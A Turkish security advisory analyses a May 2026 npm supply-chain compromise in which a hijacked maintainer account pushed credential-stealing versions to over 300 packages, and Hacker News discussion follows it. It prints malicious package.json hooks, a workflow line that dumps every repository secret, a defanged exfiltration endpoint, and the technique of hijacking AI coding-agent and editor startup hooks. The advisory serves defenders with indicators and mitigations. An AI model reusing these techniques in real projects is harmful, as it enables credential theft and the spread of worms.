- atool npm hesabı 19 Mayıs 2026’da ele geçirildi ve yaklaşık 22 dakika boyunca 317 pakete 637 kötü amaçlı sürüm otomatik olarak dağıtıldı
- Yük, SAP ihlalinde kullanılan Mini Shai-Hulud ile aynı tarayıcı yapısını ve düzenli ifadeleri kullanan, 498 KB boyutunda obfuske edilmiş bir Bun betiği
- Hedeflenen veriler AWS kimlik bilgileri, Kubernetes token’ları, Vault, GitHub PAT, npm token’ları, SSH anahtarları ve yerel gizli değerlere kadar genişliyor
- CI ortamlarında GitHub Actions OIDC, npm publish token’ına dönüştürülüyor; Sigstore imzalama ve kötü amaçlı workflow enjeksiyonu istismar ediliyor
- Müdahale için, etkilenen sürümlerin kurulup kurulmadığı doğrulanmalı, erişilmiş olabilecek tüm kimlik bilgileri değiştirilmelidir; ayrıca lockfile·bağımlılık sabitleme ve kurulum öncesi denetim gerekir
Saldırıya genel bakış
atoolnpm hesabı (i@hust.cc) 19 Mayıs 2026’da ele geçirildi ve yaklaşık 22 dakika boyunca 317 pakete 637 kötü amaçlı sürüm yayımlandı- Bu hesap 547 paketin bakımını yapıyordu ve saldırganlar bunların en az 314’ünde iki kez sürüm bump işlemi yaptı
- Etkilenen paketler arasında
size-sensor(aylık 4,2 milyon indirme),echarts-for-react(3,8 milyon),@antv/scale(2,2 milyon),timeago.js(1,15 milyon) ve çok sayıda@antvkapsamlı paket yer alıyor - Yük, 498 KB boyutunda obfuske edilmiş bir Bun betiği; 3 hafta önceki SAP ihlalinde kullanılan Mini Shai-Hulud toolkit ile aynı tarayıcı yapısını, kimlik bilgisi düzenli ifadelerini ve obfuscation kalıplarını kullanıyor
- Çalınan veriler ya açık GitHub depolarına Git nesnesi olarak commit ediliyor ya da RSA+AES ile şifrelenmiş HTTPS POST üzerinden
t.m-kosche[.]comadresine gönderiliyor
Dağıtım yöntemi ve semver riski
- İlk dalga 19 Mayıs 2026 01:39–01:56 UTC arasında yaklaşık 317 sürüm yayımladı; ikinci dalga ise 02:05–02:06 UTC arasında aynı paketlerde yaklaşık 314 sürüm bump işlemi gerçekleştirdi
- Paketlerin büyük çoğunluğu olan 309 paket, her dalgada birer tane olmak üzere tam 2 kötü amaçlı sürüm aldı
size-sensor,echarts-for-react,jest-canvas-mock,jest-date-mockolmak üzere 4 paket 3 sürüm aldı; bunun ilk testlerde kullanıldığı görülüyor- Saldırganlar çoğu pakette
latestdist-tag’ini taşımadı, ancak npm semver çözümlemesilatestten bağımsız olarak aralığa uyan en yüksek sürümü seçer - Örneğin
echarts-for-reactiçinlatestetiketi3.0.6üzerinde kalsa bile,"echarts-for-react": "^3.0.6"kullanan bir proje bir sonraki temiz kurulumda kötü amaçlı3.2.7sürümüne çözümlenebilir
Çalıştırma yolu ve yük
- Bozulmuş tüm sürümler
package.jsoniçine sürüm bump ve"preinstall": "bun run index.js"ekliyor - 637 kötü amaçlı sürümün 630’u, ikinci bir yük kopyasını çekmek için
optionalDependenciesiçine@antv/setup: github:antvis/G2#<commit-sha>ekliyor preinstallkancası, bağımlılık kurulmadan önce çalışır ve Bun çalışma zamanını gerektirirpreinstallengellense veya atlanmış olsa bile, GitHub’ı taklit eden commit içindekipreparebetiği ikinci bir çalıştırma yolu olarak kalırindex.js, tek satırlık 498 KB obfuske edilmiş bir Bun bundle’ıdır ve SAP ihlalinde kullanılan Mini Shai-Hulud payload ile aynı Bun gereksinimlerine, hex-variable obfuscation’a, 100 KB flush threshold tarayıcı yapısına ve kimlik bilgisi düzenli ifade setine sahiptir- CI ortamı tespiti için GitHub Actions, Jenkins, GitLab CI, CircleCI, Travis, Buildkite, Drone, TeamCity, AppVeyor, Bitbucket Pipelines, CodeBuild, Azure DevOps, Netlify, Vercel dahil 20’den fazla platformun ortam değişkenleri kontrol ediliyor
Kimlik bilgisi toplama hedefleri
- Yük, şifrelenmiş isimlere sahip 80’den fazla ortam değişkenini okur ve dosya içeriklerini düzenli ifadelerle tarar
- Başlıca hedefler GitHub token, npm token, GitHub Actions JWT, AWS key, Azure key, veritabanı bağlantı dizesi, Stripe key, SSH key, Docker auth, Vault token, Kubernetes token ve URL içine gömülü kimlik bilgileridir
- Dosya tarayıcısı, ana dizindeki
.ssh,.aws/credentials,.npmrc,.docker/config.json,.kube/configgibi standart kimlik bilgisi konumlarını okur - AWS credential resolution order’ın tamamını dolaşır; EC2 IMDSv2 ve ECS container credential endpoint’lerinden IAM role credential alır, ayrıca AWS STS
GetCallerIdentityve Secrets Manager erişimini de dener - Vault için token dosyası ile
VAULT_ADDR,VAULT_TOKEN,VAULT_ROLEgibi değişkenler kontrol edilir; geçerli credential varsa secret listeleme ile AWS·Kubernetes kimlik doğrulaması denenir - Kubernetes tarafında service account token ve
KUBECONFIGkontrol edilir; Docker socket varsa host üzerindeki konteynerleri listelemeye ve konteyner kaçışına girişilir
C2 ve veri sızdırma
- GitHub API, C2 gibi kullanılır; çalınan GitHub token’ları
GET /userile doğrulanır veGET /user/orgsile organizasyonlar listelenir repoveyapublic_repoizni yeterli olan token’lar, saldırganın sızdırma deposunu oluşturmak için kullanılır- Oluşturulan depo açıklaması ters yazılmış
niagA oG eW ereH :duluH-iahSdizesi olarak kaydedilir; düz okunduğunda “Shai-Hulud: Here We Go Again” olur - Depo adları
harkonnen-melange-742,fremen-sandworm-315,gesserit-navigator-508gibi iki Dune temalı kelime ve bir sayı birleşiminden oluşur - Sızdırılan veriler Git Data API üzerinden blob, tree, commit ve ref update sırasıyla kaydedilir
- Ayrı HTTPS göndericisi,
hxxps://t.m-kosche[.]com/api/public/otel/v1/tracesadresini OpenTelemetry OTLP trace ingestion endpoint’i gibi gösterecek şekilde yapılandırılmıştır - HTTPS yükü, gzip JSON’u AES-256-GCM ile şifreler ve AES anahtarını gömülü açık anahtarla RSA-OAEP wrapping yapar
CI/CD ve güven zincirinin istismarı
- Ele geçirilen token’ların erişebildiği GitHub depolarından workflow çalışma geçmişi, artifact’ler, secret adları, branch listeleri ve Claude Code yapılandırması toplanır
- GitHub API üzerinden secret değerlerine erişilemez, ancak secret adları hangi kimlik bilgilerinin bulunduğunu ortaya çıkarır
- Kötü amaçlı workflow,
.github/workflows/codeql.ymliçine enjekte edilir; adıRun Copilotolur vepushile tetiklenir - Workflow,
VARIABLE_STORE: ${{ toJSON(secrets) }}ile repository secret’larının tamamını JSON olarak ortam değişkenine koyar,format-results.txtolarak kaydeder ve artifact olarak yükler - Tamamlandıktan sonra artifact zip’i indirilir; ardından workflow run silinerek ve branch ref resetlenerek enjeksiyon izleri azaltılır
- GitHub Actions OIDC bulunan CI ortamlarında,
https://registry.npmjs.org/-/npm/…;endpoint’i üzerinden npm publish token değişimi denenir - Yük; Fulcio, Rekor ve SLSA provenance formatlarını içeren bir Sigstore signing uygulamasına sahip olduğundan, ele geçirilmiş CI kimliğiyle imzalanmış artifact’ler üretilebilir
Geliştirme ortamı ve yapay zeka kodlama ajanı enfeksiyonu
- Yük, GitHub API üzerinden uzaktan enjeksiyon ve dosya sistemi yazımı üzerinden yerel enfeksiyonla Claude Code, Codex ve VS Code ortamlarını hedefliyor
- Ele geçirilen tokenlarla erişilebilen depolara
.vscode/tasks.json,.claude/index.js,.claude/settings.json,.claude/setup.mjs,.vscode/setup.mjscommit ediliyor .claude/settings.json, birSessionStarthook’u kaydederek Claude Code oturumu her başladığındanode .claude/setup.mjsçalıştırıyor.vscode/tasks.json,"runOn": "folderOpen"ile proje klasörü açıldığında çalışmayı tetikliyorsetup.mjs, GitHub resmi release’lerinden Bun v1.3.14’ü indiriyor, binary’yi çıkarıyor ve ardından yükü çalıştırıyor- Yerel enfeksiyon yolu, yükü
~/.claude/package/index.jsve~/.codex/package/index.jskonumlarına kopyalıyor ve mevcut proje yapılandırma dosyalarını tarayarak hook enjekte ediyor - Apple Silicon Mac’lerde bu yerel enfeksiyon yolu atlanıyor; Linux, Intel Mac ve Windows’ta ise çalışıyor
Kalıcılık ve GitHub dead-drop C2
kitty-monitorkılığına girmiş kalıcı çalışan daemon, Linux’ta bir systemd kullanıcı servisi olarak, macOS’ta ise~/Library/LaunchAgents/com.user.kitty-monitor.plistolarak kuruluyor- Kurucu, oturum kapatıldıktan sonra da kalıcı olması için
systemctl --user enable --nowveloginctl enable-lingerkullanıyor cat.pydaemon’u her 1 saatte bir GitHub Search API’yi poll ediyor vefiredalazeranahtar kelimesini içeren commit’leri arıyor- Commit mesajı biçimi
firedalazer <base64_url>.<base64_signature>ve sabit kodlanmış 4096 bit RSA açık anahtarıyla RSA-PSS imzasını doğruladıktan sonra URL’deki Python kodunu çalıştırıyor - Ayrı bir
gh-token-monitordaemon’u, ele geçirilen GitHub tokenlarını 60 saniye aralıklarla poll ediyor ve TTL 24 saat - Süreç belleği tarayıcısı, Linux’ta
/proc/pid/maps+mem, Windows’taReadProcessMemorykullanarak GitHub Actions runner worker süreçlerinin okunabilir bellek bölgelerini dump ediyor
antvis/G2 taklit commit’leri
- 637 kötü amaçlı sürümün 630’unda,
antvis/G2deposundaki belirli bir commit’i işaret eden biroptionalDependenciesgirdisi bulunuyor{ "optionalDependencies": { "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569" } } - npm
github:bağımlılığını çözdüğünde bu commit’i çekiyor,package.jsondosyasını buluyor ve ardından lifecycle script’lerini çalıştırıyor - Söz konusu commit’te,
@antv/setuptanımını vepreparescript’ini içeren birpackage.jsonile aynı Shai-Hulud yükünün yeniden obfuscate edilmiş 499KB’lıkindex.jsdosyası yer alıyor preparescript’indeki&& exit 1, optional dependency’nin başarısız olmasına yol açıyor; ancak npm optional dependency hatasını ölümcül saymadığı için kurulum devam ediyor- Git API,
antvis/G2üzerine push edilmiş üç farklı commit SHA gösteriyor ve bunların hiçbiri herhangi bir branch’e bağlı değil - Üç commit de aynı metadata’yı paylaşıyor: author
huiyu.zjt <Alexzjt@users.noreply.github.com>, commit messageNew Package, 0 parent ve GPG imzası yok - Saldırgan,
antvis/G2üzerinde yazma yetkisi olmadan, bir fork’ta payload orphan commit’i oluşturup ardından fork’u silerek üst depo namespace’i altında SHA ile fetch edilebilen commit bırakabiliyor - Bu yöntem, GitHub Actions’taki taklit commit sorunuyla aynı türden; Chainguard bunu belgeledi, burada ise npm
github:bağımlılık çözümlemesine uygulanıyor
Ele geçirilme göstergeleri
- 2026-05-19 01:44–02:06 UTC arasında
atool(i@hust.cc) tarafından yayımlanan paketler doğrulama kapsamına alınmalı preinstallscript’ibun run index.js- Yükün SHA256 değeri
a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c antvis/G2taklit commit’leri şunlar1916faa365f2788b6e193514872d51a242876569— 626 sürüm7cb42f57561c321ecb09b4552802ae0ac55b3a7a— 2 sürümdc3d62a2181beb9f326952a2d212900c94f2e13d— 1 sürüm, garbage collected
- Ağ IoC’leri arasında
hxxps://t.m-kosche[.]com/api/public/otel/v1/traces,169.254.169.254EC2 metadata ve169.254.170.2ECS container metadata istekleri bulunuyor - Depo IoC’leri arasında
chore/add-codeql-static-analysisbranch’i,Run Copilotworkflow’u vetoJSON(secrets)çıktısınıformat-results.txtdosyasına dump eden.github/workflows/codeql.ymlyer alıyor - Geliştirme ortamı IoC’leri arasında
.claude/settings.jsoniçindekiSessionStarthook’u,.vscode/tasks.jsoniçindeki"runOn": "folderOpen",.claude/setup.mjs,.vscode/setup.mjsbulunuyor - Kalıcılık IoC’leri arasında
kitty-monitor.service,com.user.kitty-monitor.plist,~/.local/bin/gh-token-monitor.sh,~/.local/share/kitty/cat.py,/var/tmp/.gh_update_statebulunuyor
Kontrol edilmesi gereken temsilî paketler
compromised-packages.csvtablosunda Package ve Compromised Versions olmak üzere 2 sütun var ve tabloya göre 317 paket gösteriliyor- Lockfile içinde bu paketlerin ve 2026-05-19 tarihinde yayımlanan kötü amaçlı sürümlerin bulunup bulunmadığı kontrol edilmeli
- Temsilî
@antvpaketleri ve kötü amaçlı sürümler@antv/g2:5.5.8,5.6.8@antv/g6:5.2.1,5.3.1@antv/g:6.4.1,6.5.1@antv/l7:2.26.10,2.27.10@antv/x6:3.2.7,3.3.7@antv/s2:2.8.1,2.9.1@antv/f2:5.15.0,5.16.0
- Genel npm paketleri ve kötü amaçlı sürümler
echarts-for-react:3.0.7,3.1.7,3.2.7size-sensor:1.0.4,1.1.4,1.2.4jest-canvas-mock:2.5.3,2.6.3,2.7.3jest-date-mock:1.0.11,1.1.11,1.2.11timeago.js:4.1.2,4.2.2timeago-react:3.1.7,3.2.7@lint-md/cli:2.1.0,2.2.0@lint-md/core:2.1.0,2.2.0@lint-md/parser:0.1.14,0.2.14
Müdahale ve savunma
- Etkilenen sürüm yüklendiyse, build ortamından erişilebilen npm token’ları, GitHub PAT’leri, AWS anahtarları, SSH anahtarları, bulut kimlik bilgileri, veritabanı parolaları, Vault token’ları, Kubernetes service account token’ları ve yerel parola yöneticisi gizli değerleri değiştirilmelidir
t.m-kosche[.]comağ ve DNS düzeyinde engellenmelidir- Build ortamında erişilebilir token’lara sahip GitHub hesapları altında yetkisiz herkese açık depo oluşturulup oluşturulmadığı kontrol edilmelidir
- CI pipeline’larında yetkisiz paket publish işlemleri ve npm OIDC token değişim günlükleri incelenmelidir
- Ele geçirilmiş CI identity ile üretilen imzalı artifact olup olmadığı Sigstore şeffaflık günlüklerinden kontrol edilmelidir
- Yerel Node.js projelerinde
.claude/settings.jsonhook’u,.vscode/tasks.jsonotomatik çalıştırma görevleri,.claude/setup.mjsve.vscode/setup.mjsdosyaları kontrol edilmelidir kitty-monitorsystemd kullanıcı servisi vecom.user.kitty-monitorLaunchAgent kaldırılmalı; ayrıca~/.local/share/kitty/cat.py,/var/tmp/.gh_update_state,~/.local/bin/gh-token-monitor.shdosyalarının varlığı kontrol edilmelidir- semver aralığı çözümlemesinin kötü amaçlı sürümlere yönelmemesi için bağımlılıklar pinlenmeli veya lockfile kullanılmalıdır
- CI/CD pipeline’larında Docker socket açığa çıkması ve EC2 metadata erişimi denetlenmeli, IMDSv2 hop limit kısıtlaması değerlendirilmelidir
- Package Manager Guard (pmg),
preinstallçalıştırılmadan önce paketi threat intelligence ile karşılaştıran açık kaynaklı bir kurulum proxy’sidir - dependency cooldown, yapılandırılabilir bir zaman penceresi içinde yayımlanan sürümleri reddederek semver aralıklarının yeni kötü amaçlı sürümlere çözülmesiyle oluşan ani dağıtım dalgalarını azaltabilir
- vet, beklenmeyen
preinstallhook’ları, boyutta ani artış ve maintainer değişikliği gibi anormal paket güncellemelerini CI/CD pipeline’larına ulaşmadan önce tespit edebilir - Tek bir hesap altında 547 paket ve tek bir oturumda silahlandırılan 314’ten fazla paketlik etki alanı, npm güven modelindeki yapısal zayıflıkları ortaya koyuyor
Referanslar
- Shai-Hulud Goes Open Source: Static Analysis of the Framework — Datadog Security Labs
- The Shai-Hulud Code Drop — ReversingLabs
1 yorum
Hacker News yorumları
Artık NPM yaşam döngüsü scriptleri varsayılan olarak devre dışı olmalı
Kolaylık özelliği denilerek keyfi kod çalıştırma gömülmüş durumda ve bu, geçişli bağımlılıklar için de geçerli. Yaygın NPM kurt tarzı saldırıların hepsi bu varsayılan ayar üzerinden yayıldı. Belirli bir komutta bir kez açınca tüm geçişli bağımlılıkların yaşam döngüsü scriptleri çalıştırmasına izin verilmemeli; gerçekten gerekli olan her bağımlılık için açıkça işaretlenmesi gerekir
NPM paketlerinin ezici çoğunluğu bu tür scriptlere bağlı değil, bu yüzden hâlâ yapmadıysanız küresel olarak kapatmak iyi olur
Gerçi paketler, program içinde ilk kez içe aktarıldıklarında da istedikleri çöplüğü çalıştırabilir
“Bunu engellemenin yolu yok” sözü, ancak bu tür şeylerin düzenli olarak yaşandığı tek paket yöneticisinde söylenir
Bir noktadan sonra Dependabot’u kapatıp NPM paketlerini minör/yama sürümleri dahil tamamen sabitlemek, sürekli güncel tutmaktan daha iyi olmayacak mı?
Özellikle frontend paketlerinde bugünlerde anlamlı güvenlik düzeltmeleri, tedarik zinciri saldırılarından daha nadir görünüyor
Üzücü bir durum ama frontend’i statik bir BOM’a dönüştürüp NPM’in en azından “önceki sürümü yeniden yayımlayamazsın” kuralını düzgün uyguladığına güvenmemek için bir sebep var mı?
Bilinen CVE’leri çözen sürümler için istisna tanınabilir
Durum giderek çığırından çıkıyor. Kendi adıma node, python, tüm paket yöneticilerini makinemden zaten kaldırdım; onun yerine sadece devcontainer ya da VM içinde kullanıyorum
Geliştirici topluluğu çok güçlendirilmiş güvenlik üretse bile, en azından bir yıl kadar sonra modellerin sosyal mühendislik becerilerinin yeterince gelişip bunun yine de kaybedilen bir oyun olmasından endişe ediyorum
Mesela XZ hack’ine giren emek çok büyüktü ve mevcut bakımcıyı zaman içinde yıpratmaya dayandığı için hızlandırılamazdı. Gerekli kötü niyetli mesajları birkaç saniyede üretip gönderebilirsiniz ama onları okuyan insanların hızı artmaz; hepsi bir anda gelirse bu kez daha fazla şüphe çeker
Girdinin ne kadar ikna edici olabileceğinin de sınırları var. XZ bakımcısına giden rastgele kötü niyetli bir mesajı seçip onu daha sinsi, daha isabetli, bakımcının kişisel zayıflıklarını ve korkularını daha iyi yansıtır hâle getirebilirsiniz ama genel olarak daha etkili olur muydu? Sanmıyorum, olsa olsa çok az
Artık Zed 1.0 olduğuna göre tamamen geçmek istiyorum ama bildiğim kadarıyla güvenlik modeli ya hep ya hiç. Bilmediğim NPM paketlerini kafasına göre indirip kurmasına izin vermek ya da tüm LSP özelliklerini kapatmak zorundayım
Sonra da sürekli böyle haberler görüyorum
npm, paket yüklemelerini otomatik olarak yaklaşık 10 dakika geciktirip bu sırada üçüncü taraf kod denetim şirketleri ekosistemine dağıtarak otomatik kontrolden geçiren bir program işletebilir mi?
Hatta hangi denetçinin sorunları en hızlı ve güvenilir biçimde yakaladığını gösteren herkese açık bir sıralama ya da para ödülü bile olabilir
Bu liste eksik. En az bir paket daha, nx-console VS Code eklentisi, dün bu kurda bulaştı ve 2,2 milyon indirmesi var
Yetkisi ve bağlantıları olan biri okuyorsa, daha fazlası olup olmadığını görmek için onun bağımlılık zincirini de izlemeye değer. Referans:
https://github.com/nrwl/nx-console/security/advisories/GHSA-...
PS: Bulaşmadan hemen sonra insanları uyarmak için bunu HN’e gönderdim ama ne yazık ki neredeyse hiç oy almadı
Tüm ekosistem açısından bakınca, TC39’un JS’nin kendisine daha iyi bir standart kütüphane ekleme yollarına bakması gerekiyor. Böylece tek satırlık paketlerin sayısı azaltılabilir
Katılıyorum. Eskiden Deno ile çalışırken en sevdiğim kısım standart kütüphane[0] ve genel olarak daha tamamlanmış geliştirme ortamıydı. Çalışma zamanına entegre bir test çalıştırıcısı ve assertion kütüphanesi gelmesi çok doğal
0 - https://docs.deno.com/runtime/reference/std/
node:test[0] venode:assert/strict[1] modüllerini sunuyor.node --test, Mocha’nın yerini kolayca alabilir venode:assert/strictde fena değil amachaibazen daha kullanışlı.expectbenzeri ergonomi yüzünden. Deno’nun @std’sindeexpecttarzı bir assertion kütüphanesi varSorun şu ki Node ekosisteminde çok fazla test çalıştırıcısı var ve bunların önemli bir kısmı Mocha kadar kolay ikame edilemiyor. Bu yüzden yerleşik test harness’i ve assertion kütüphanesine geçiş doğal olarak sancılı ve yavaş olacak. İnsanlar çeşitli nedenlerle Jest ve Vitest’in gereksiz derecede karmaşık yapısını seviyor. Büyük şirketler Karma’nın iyi bir fikir olduğunu düşündü. “Birim testleri için V8 seviyorsunuz değil mi? O zaman mevcut V8 ortamınızın içinde bir tane daha V8 kopyası açalım” hissinden neden daha fazla geliştiricinin nefret etmediğini hâlâ anlamıyorum
[0] https://nodejs.org/api/test.html
[1] https://nodejs.org/api/assert.html#strict-assertion-mode
Hangi dilin standart kütüphanesinde “3 saat önce” biçimlendiricisi var? timeago.js tam olarak bunu yapıyor
slice.js ise sadece Python tarzı negatif indeksleme sağlıyor. TC39 zaten array.at() ve array.slice() için negatif değer desteği getirdi
https://nodejs.org/api/
Söylenene göre payload Docker socket’ini kontrol ediyor ve varsa üç aşamalı yöntemle container escape deniyor
Yani devcontainer ya da VM içinde çalıştırsanız bile bu tür kurtlar şimdiden dışarı çıkmayı deniyor
rootless bir VM motoru kullandığınızdan emin olmalısınız. Örneğin Docker yerine podman gibi
Bu bana insanların düşük yetkili Linux hesapları dağıtıp kernel’in ayrıcalık yükseltmeyi engelleyeceğine güvendiği günleri hatırlatıyor. Docker kelimenin tam anlamıyla aynı şeyin daha prosedürlü hâli. Özellikle bugünlerde yeni bir kernel yerel ayrıcalık yükseltme açığı sanki her 5 dakikada bir çıkıyor
Podman, saldırgana root vermemesi açısından biraz daha iyi ama zaten neden hesap veriyorsunuz ki? Düzgün bir VM kullanın
BSD’deki gibi kapsamlı bir sandbox Linux’ta var mı?
Artık Mr Bones' Wild Ride’dan inmek istiyorum ama bunların süreceğinden korkuyorum. Benim gördüğüm kadarıyla ticari tespit stratejilerinin önemli kısmı, paketleri yüklerken ya da kullanırken depo/cihaz/geliştirici düzeyine göre ayarlanıyor
E-posta spam’i veya genel malware ile başa çıkma biçimine benziyor. Bu yüzden kötü niyetli aktörlerin sürekli denemeye değer bulacağı hedefler neredeyse hep olacak. Ama e-postadan farklı olarak paket yöneticileri merkezi otorite konumunda ve bant dışı sorunların doğal olarak geliştiricinin sorumluluğuna itileceği bir yapı var
Dışarıdan bakan biri olarak, hızlı sürüm ve gevşek sürümleme kültüründen uzaklaşıp registry’deki daha istikrarlı ve derinlemesine denetlenmiş sürümlere odaklanmak gerekebilir diye düşünüyorum. Hacim ve ölçek etkileri yüzünden yanılıyor olabilirim ama daha oynak dillere daha sık darbe gelmesi yine de düşündürücü
Keşke mevcut tabloyu kapsamlı biçimde ele alan bir yazı olsa
O filmdeki roller coaster’ın adı Mr Bonestripper’mış: https://www.youtube.com/watch?v=NEZEgd8GjJc
Bunun yerine Roller Coaster Tycoon 2’den geliyormuş: https://knowyourmeme.com/memes/mr-bones-wild-ride
Spam benzetmesine dönersek, ticari ve sosyal bilgisayar ağlarının neredeyse tümünde e-posta adreslerini emip spam’i insanların kabul etmek zorunda kaldığı, üzerine de bir meşruiyet cilası çekilmiş bir düzene bir ölçüde yerleşmiş durumdayız. Bu alanda da benzer bir şeyin olması muhtemel. Muhtemelen Oracle lisans denetim ajanı tarzı yazılımlarla otomatik bağımlılık yönetiminin bir birleşimi; yani tedarik zinciri malware’ini “çözmek” için başka malware’leri allowlist’e alan bir yapı